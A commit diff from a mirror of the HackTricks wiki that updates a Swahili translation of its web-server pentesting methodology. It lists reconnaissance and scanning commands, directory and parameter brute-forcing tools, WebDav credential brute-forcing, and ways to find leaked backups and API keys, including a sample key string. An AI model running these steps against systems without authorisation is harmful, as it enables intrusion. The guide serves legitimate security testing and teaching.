mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/README.md',
This commit is contained in:
Translator
parent
55cf1fdacd
commit
2924ef9149
@ -423,6 +423,7 @@
|
||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
|
||||
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
|
||||
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
|
||||
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
|
||||
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
|
||||
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Info
|
||||
|
||||
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi **za tofauti za udhaifu** zipo.
|
||||
Huduma ya wavuti ni huduma **ya kawaida na pana zaidi** na aina nyingi za **vulnerabilities tofauti** zipo.
|
||||
|
||||
**Bandari ya kawaida:** 80 (HTTP), 443(HTTPS)
|
||||
**Port ya default:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
@ -17,37 +17,37 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Web API Guidance
|
||||
### Mwongozo wa Web API
|
||||
|
||||
{{#ref}}
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## Methodology summary
|
||||
## Muhtasari wa Mbinu
|
||||
|
||||
> Katika mbinu hii tunaenda kudhani kwamba unataka kushambulia kikoa (au subdomain) na tu hicho. Hivyo, unapaswa kutumia mbinu hii kwa kila kikoa, subdomain au IP iliyogunduliwa yenye seva ya wavuti isiyojulikana ndani ya upeo.
|
||||
|
||||
- [ ] Anza kwa **kutambua** **teknolojia** zinazotumiwa na seva ya wavuti. Tafuta **hila** za kukumbuka wakati wa mtihani mzima ikiwa utaweza kutambua teknolojia hiyo kwa mafanikio.
|
||||
- [ ] Je, kuna **udhaifu** wowote unaojulikana wa toleo la teknolojia hiyo?
|
||||
- [ ] Je, kuna **udhaifu wowote** wa toleo la teknolojia hiyo?
|
||||
- [ ] Unatumia **teknolojia maarufu** yoyote? Je, kuna **hila** yoyote ya manufaa ya kupata taarifa zaidi?
|
||||
- [ ] Je, kuna **scanner maalum** yoyote ya kukimbia (kama wpscan)?
|
||||
- [ ] Uzindua **scanners za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
|
||||
- [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS scan** (ikiwa HTTPS).
|
||||
- [ ] Je, kuna **scanner maalum** ya kukimbia (kama wpscan)?
|
||||
- [ ] Anzisha **scanner za matumizi ya jumla**. Hujui kama wataweza kupata kitu au kama wataweza kupata taarifa za kuvutia.
|
||||
- [ ] Anza na **ukaguzi wa awali**: **robots**, **sitemap**, **404** kosa na **SSL/TLS skani** (ikiwa HTTPS).
|
||||
- [ ] Anza **kupeleleza** ukurasa wa wavuti: Ni wakati wa **kupata** faili, folda na **parameta** zote zinazotumika. Pia, angalia kwa **matokeo maalum**.
|
||||
- [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kupelelezwa._
|
||||
- [ ] **Directory Brute-Forcing**: Jaribu kufanya brute force kwa folda zote zilizogunduliwa kutafuta **faili** na **directories** mpya.
|
||||
- [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kufanywa Brute-Forced._
|
||||
- [ ] **Kuangalia nakala za akiba**: Jaribu kuona kama unaweza kupata **nakala za akiba** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za akiba.
|
||||
- [ ] **Brute-Force parameters**: Jaribu **kupata parameta zilizofichwa**.
|
||||
- [ ] Mara tu unapokuwa umeshawishi **kila mwisho** unaokubali **ingizo la mtumiaji**, angalia aina zote za **udhaifu** zinazohusiana na hiyo.
|
||||
- [ ] **Brute-Forcing ya Directory**: Jaribu kujaribu nguvu zote za folda zilizogunduliwa kutafuta **faili** na **directories** mpya.
|
||||
- [ ] _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au kupeleleza, inapaswa kujaribiwa kwa nguvu._
|
||||
- [ ] **Ukaguzi wa Nakala**: Jaribu kuona kama unaweza kupata **nakala** za **faili zilizogunduliwa** ukiongeza nyongeza za kawaida za nakala.
|
||||
- [ ] **Parameta za Brute-Force**: Jaribu **kupata parameta zilizofichwa**.
|
||||
- [ ] Mara tu unapokuwa umeshatambua **endpoints** zote zinazokubali **ingizo la mtumiaji**, angalia aina zote za **udhaifu** zinazohusiana na hiyo.
|
||||
- [ ] [Fuata orodha hii ya ukaguzi](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Toleo la Seva (Lina Udhihirisho?)
|
||||
|
||||
### Identify
|
||||
### Tambua
|
||||
|
||||
Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la seva inayotumika.\
|
||||
**HTTP headers na cookies za jibu** zinaweza kuwa na manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la seva, lakini inaweza pia kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la seva linalotumika.\
|
||||
**Vichwa vya HTTP na vidakuzi vya jibu** vinaweza kuwa vya manufaa sana katika **kutambua** **teknolojia** na/au **toleo** linalotumika. **Nmap skani** inaweza kutambua toleo la seva, lakini pia inaweza kuwa na manufaa kutumia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
@ -78,6 +78,7 @@ Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** maar
|
||||
- [**GraphQL**](graphql.md)
|
||||
- [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||
- [**IIS tricks**](iis-internet-information-services.md)
|
||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||
- [**JBOSS**](jboss.md)
|
||||
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
|
||||
- [**Jira**](jira.md)
|
||||
@ -98,19 +99,19 @@ Baadhi ya **tricks** za **finding vulnerabilities** katika **technologies** maar
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Kumbuka kwamba **domain** hiyo hiyo inaweza kuwa ikitumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo awali au **zingine yoyote**, usisahau **kutafuta mtandaoni** tricks mpya (na unijulishe!).
|
||||
_Kumbuka kwamba **domain** hiyo hiyo inaweza kuwa inatumia **technologies** tofauti katika **ports**, **folders** na **subdomains**._\
|
||||
Ikiwa programu ya wavuti inatumia **tech/platform** maarufu zilizoorodheshwa hapo juu au **zingine yoyote**, usisahau **kutafuta mtandaoni** tricks mpya (na unijulishe!).
|
||||
|
||||
### Source Code Review
|
||||
|
||||
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **mtihani wa White box** wa programu hiyo kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
|
||||
Ikiwa **source code** ya programu inapatikana katika **github**, mbali na kufanya **White box test** ya programu mwenyewe kuna **maelezo** ambayo yanaweza kuwa **muhimu** kwa **Black-Box testing** ya sasa:
|
||||
|
||||
- Je, kuna **Change-log au Readme au Version** file au chochote chenye **version info accessible** kupitia wavuti?
|
||||
- Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** yoyote (inayopatikana?) yenye credentials (majina ya watumiaji au nywila)?
|
||||
- Je, **credentials** zimehifadhiwaje na wapi? Je, kuna **file** (inayopatikana?) yenye credentials (majina ya watumiaji au nywila)?
|
||||
- Je, **passwords** ziko katika **plain text**, **encrypted** au ni **hashing algorithm** gani inatumika?
|
||||
- Je, inatumia **master key** yoyote kwa ajili ya kuandika kitu? Ni **algorithm** gani inatumika?
|
||||
- Je, unaweza **kufikia yoyote ya hizi files** kwa kutumia udhaifu wowote?
|
||||
- Je, kuna **maelezo ya kuvutia katika github** (masuala yaliyotatuliwa na yasiyotatuliwa)? Au katika **commit history** (labda **password iliyoingizwa ndani ya commit ya zamani**)?
|
||||
- Je, kuna **maelezo ya kuvutia katika github** (masuala yaliyotatuliwa na yasiyotatuliwa) **issues**? Au katika **commit history** (labda **password iliyoingizwa ndani ya commit ya zamani**)?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -145,11 +146,11 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na kuendesha skana.
|
||||
> Katika hatua hii unapaswa kuwa na taarifa fulani kuhusu seva ya wavuti inayotumiwa na mteja (ikiwa kuna data yoyote iliyotolewa) na mbinu fulani za kukumbuka wakati wa mtihani. Ikiwa una bahati umepata hata CMS na ukafanya skana.
|
||||
|
||||
## Ugunduzi wa Programu za Wavuti Hatua kwa Hatua
|
||||
## Hatua kwa hatua Ugunduzi wa Programu za Wavuti
|
||||
|
||||
> Kutoka hapa tunaanza kuingiliana na programu ya wavuti.
|
||||
> Kutoka hapa tutaanza kuingiliana na programu ya wavuti.
|
||||
|
||||
### Ukaguzi wa Awali
|
||||
|
||||
@ -173,10 +174,10 @@ Seva za wavuti zinaweza **kufanya kazi kwa njia isiyo ya kawaida** wakati data z
|
||||
|
||||
#### **Angalia kama unaweza kupakia faili (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa ya kutosha kwa **kupakia faili** katika folda ya mzizi jaribu:
|
||||
Ikiwa unapata kuwa **WebDav** ime **wezeshwa** lakini huna ruhusa za kutosha za **kupakia faili** kwenye folda ya mizizi jaribu:
|
||||
|
||||
- **Brute Force** akidi
|
||||
- **Pakia faili** kupitia WebDav kwa **sehemu** za **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
|
||||
- **Brute Force** akreditif
|
||||
- **Pakia faili** kupitia WebDav kwenye **sehemu** za **folda zilizopatikana** ndani ya ukurasa wa wavuti. Unaweza kuwa na ruhusa za kupakia faili katika folda nyingine.
|
||||
|
||||
### **Vulnerabilities za SSL/TLS**
|
||||
|
||||
@ -199,48 +200,48 @@ Habari kuhusu SSL/TLS udhaifu:
|
||||
|
||||
### Spidering
|
||||
|
||||
Zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi kadri iwezekanavyo** kutoka kwa programu iliyojaribiwa. Kwa hivyo, kuvinjari wavuti na vyanzo vya nje vinapaswa kutumika ili kupata njia halali nyingi kadri iwezekanavyo.
|
||||
Zindua aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi kadri iwezekanavyo** kutoka kwa programu iliyojaribiwa. Hivyo, kuvinjari wavuti na vyanzo vya nje vinapaswa kutumika ili kupata njia halali nyingi kadri iwezekanavyo.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder katika faili za JS na vyanzo vya nje (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, na LinkFider kwa faili za JS na Archive.org kama chanzo cha nje.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, pia inaonyesha "faili za juisi".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Pia inatafuta katika Archive.org
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Chombo hiki si spider lakini kinaweza kuwa na manufaa. Unaweza tu kuashiria faili yenye mwenyeji na faili yenye njia na meg itachukua kila njia kwenye kila mwenyeji na kuhifadhi jibu.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kutafsiri JS. Hata hivyo, inaonekana kama haijatunzwa, toleo lililotengenezwa awali ni la zamani na msimbo wa sasa haujajitengeneza.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider yenye uwezo wa kuunda JS. Hata hivyo, inaonekana haijatunzwa, toleo lililotengenezwa awali ni la zamani na msimbo wa sasa haujajitengeneza.
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML spider inayotumia watoa huduma wa nje (wayback, otx, commoncrawl)
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hii ni script itakayopata URLs zenye parameter na kuziorodhesha.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kutafsiri JS.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider yenye uwezo wa kuunda JS.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, yenye uwezo wa kuboresha JS inayoweza kutafuta njia mpya katika faili za JS. Inaweza kuwa na manufaa pia kuangalia [JSScanner](https://github.com/dark-warlord14/JSScanner), ambayo ni wrapper ya LinkFinder.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Kutolewa kwa mwisho katika chanzo cha HTML na faili za javascript zilizojumuishwa. Inafaida kwa wawindaji wa makosa, timu nyekundu, na infosec ninjas.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script ya python 2.7 inayotumia Tornado na JSBeautifier kutafsiri URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana kama haijatunzwa.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Iwapo kuna faili (HTML) itatoa URLs kutoka kwake kwa kutumia kanuni nzuri za kawaida kutafuta na kutoa URLs zinazohusiana kutoka kwa faili mbaya (minify).
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Script ya python 2.7 inayotumia Tornado na JSBeautifier kuchambua URLs zinazohusiana kutoka kwa faili za JavaScript. Inafaida kwa kugundua maombi ya AJAX kwa urahisi. Inaonekana haijatunzwa.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Iwapo kuna faili (HTML) itatoa URLs kutoka kwake kwa kutumia kanuni nzuri za kawaida ili kupata na kutoa URLs zinazohusiana kutoka kwa faili mbaya (minify).
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, zana kadhaa): Kusanya habari za kuvutia kutoka kwa faili za JS kwa kutumia zana kadhaa.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Pata faili za JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pakia ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Pata ukurasa katika kivinjari kisichokuwa na kichwa na uchapishe URLs zote zilizopakiwa ili kupakia ukurasa.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Chombo cha kugundua maudhui kinachochanganya chaguzi kadhaa za zana zilizotangulia.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na params katika faili za JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa kutolewa kwa URL ya .js.map kitakupa msimbo wa JS ulioimarishwa.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa URL ya .js.map kitakuletea msimbo wa JS ulioimarishwa.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni chombo kinachotumika kugundua mwisho kwa lengo fulani.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gundua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni kivinjari cha wavuti cha GUI chenye vipengele vingi vilivyoundwa kwa wataalamu wa usalama wa mtandao.
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Vinjari (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni GUI ya hali ya juu ya usalama wa wavuti iliyoundwa kwa wataalamu wa usalama wa mtandao.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [chombo cha amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) kwa kutolewa kwa URLs, njia, siri, na data nyingine za kuvutia kutoka kwa msimbo wa chanzo wa JavaScript.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** kwa **kutolewa kwa paramters na mwisho** kutoka kwa ombi ili kuunda orodha ya maneno ya kawaida kwa fuzzing na orodha.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Chombo bora kwa hili.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo ambacho kinaweza kupatikana.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** kutolewa **paramters na mwisho** kutoka kwa ombi ili kuunda orodha ya maneno ya kawaida kwa fuzzing na orodha.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Chombo kizuri kwa hili.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo kinachoweza kupatikana.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Anza **brute-forcing** kutoka kwenye folda ya mzizi na uhakikishe unafanya brute-force **zote** za **directories zilizopatikana** kwa kutumia **hii mbinu** na zote za directories **zilizogunduliwa** na **Spidering** (unaweza kufanya brute-forcing hii **kikamilifu** na kuongeza mwanzoni mwa orodha ya maneno iliyotumika majina ya directories zilizopatikana).\
|
||||
Zana:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha kiotomatiki na utafutaji wa kurudiwa. Polepole sana ikilinganishwa na chaguzi nyingine.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haikubali vyeti vilivyojitiisha kiotomatiki lakini** inaruhusu utafutaji wa kurudiwa.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha kiotomatiki, **haikubali** **utaftaji wa kurudiwa**.
|
||||
- **Dirb** / **Dirbuster** - Imejumuishwa katika Kali, **ya zamani** (na **polepole**) lakini inafanya kazi. Inaruhusu vyeti vilivyojitiisha na utafutaji wa kurudiwa. Polepole sana ikilinganishwa na chaguzi nyingine.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Haina ruhusa ya vyeti vilivyojitiisha lakini** inaruhusu utafutaji wa kurudiwa.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Inaruhusu vyeti vilivyojitiisha, **haina** **utaftaji wa kurudiwa**.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utafutaji wa kurudiwa.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kwa kutolewa kwa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia".
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kwa orodha ya URLs zilizopatikana itafuta "URLs zilizojirudia".
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kiendelezi cha Burp kuunda orodha ya directories kutoka kwa historia ya burp ya kurasa tofauti.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ondoa URLs zenye kazi zilizojirudia (kulingana na uagizaji wa js).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Inatumia wapalyzer kugundua teknolojia zinazotumika na kuchagua orodha za maneno za kutumia.
|
||||
@ -268,18 +269,18 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
|
||||
|
||||
### Nini cha kuangalia kwenye kila faili lililopatikana
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTMLs ambavyo vinaweza kuwa na hatari ya kuchukuliwa.
|
||||
- **File Backups**: Mara tu unapokuwa umepata faili zote, angalia nakala za faili zote zinazotekelezeka ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Gundua vigezo vipya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua vigezo vilivyofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** vigezo vilivyofichwa kwenye kila faili ya wavuti inayotekelezeka.
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTMLs ambavyo vinaweza kuwa na uwezekano wa kuchukuliwa.
|
||||
- **File Backups**: Mara tu unapokuwa umepata faili zote, angalia nakala za faili zote zinazoweza kutekelezwa ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Gundua vigezo vipya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua vigezo vilivyofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** vigezo vilivyofichwa kwenye kila faili la wavuti linaloweza kutekelezwa.
|
||||
- _Arjun orodha zote za maneno za kawaida:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Maoni:** Angalia maoni ya faili zote, unaweza kupata **akili** au **kazi zilizofichwa**.
|
||||
- Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** ya **maelfu** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
|
||||
- **API keys**: Ikiwa unapata **funguo zozote za API** kuna mwongozo unaoelekeza jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Funguo za Google API: Ikiwa unapata funguo zozote za API zinazoonekana kama **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuangalia ni APIs zipi funguo hiyo inaweza kufikia.
|
||||
- **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au kiungo chochote kinahusiana na **S3 bucket**. Katika kesi hiyo, [**angalia** **idhini** ya ndoo](buckets/index.html).
|
||||
- **Maoni:** Angalia maoni ya faili zote, unaweza kupata **credentials** au **ufunctionality iliyofichwa**.
|
||||
- Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** **miyingi** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti.
|
||||
- **API keys**: Ikiwa **unapata API key** yoyote kuna mwongozo unaoelekeza jinsi ya kutumia API keys za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Ikiwa unapata API key yoyote inayoonekana kama **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuangalia ni APIs zipi ambazo key inaweza kufikia.
|
||||
- **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** yoyote au kiungo chochote kinahusiana na **S3 bucket** fulani. Katika kesi hiyo, [**angalia** **idhini** ya bucket](buckets/index.html).
|
||||
|
||||
### Matokeo Maalum
|
||||
|
||||
@ -287,18 +288,18 @@ _Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing a
|
||||
|
||||
**Faili za Kuvutia**
|
||||
|
||||
- Angalia **viungo** kwa faili nyingine ndani ya **CSS**.
|
||||
- Angalia **viungo** kwa faili nyingine ndani ya **CSS** files.
|
||||
- [Ikiwa unapata faili ya _**.git**_ habari fulani inaweza kutolewa](git.md)
|
||||
- Ikiwa unapata _**.env**_ habari kama funguo za api, nywila za db na habari nyingine zinaweza kupatikana.
|
||||
- Ikiwa unapata **API endpoints** unapaswa pia kujaribu [hizi](web-api-pentesting.md). Hizi si faili, lakini labda "zitakavyoonekana" kama hizo.
|
||||
- **Faili za JS**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili ya JS iliyopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ina udhaifu.
|
||||
- Ikiwa unapata **API endpoints** unapaswa pia kujaribu [kuziangalia](web-api-pentesting.md). Hizi si faili, lakini labda "zitakuwa" kama hizo.
|
||||
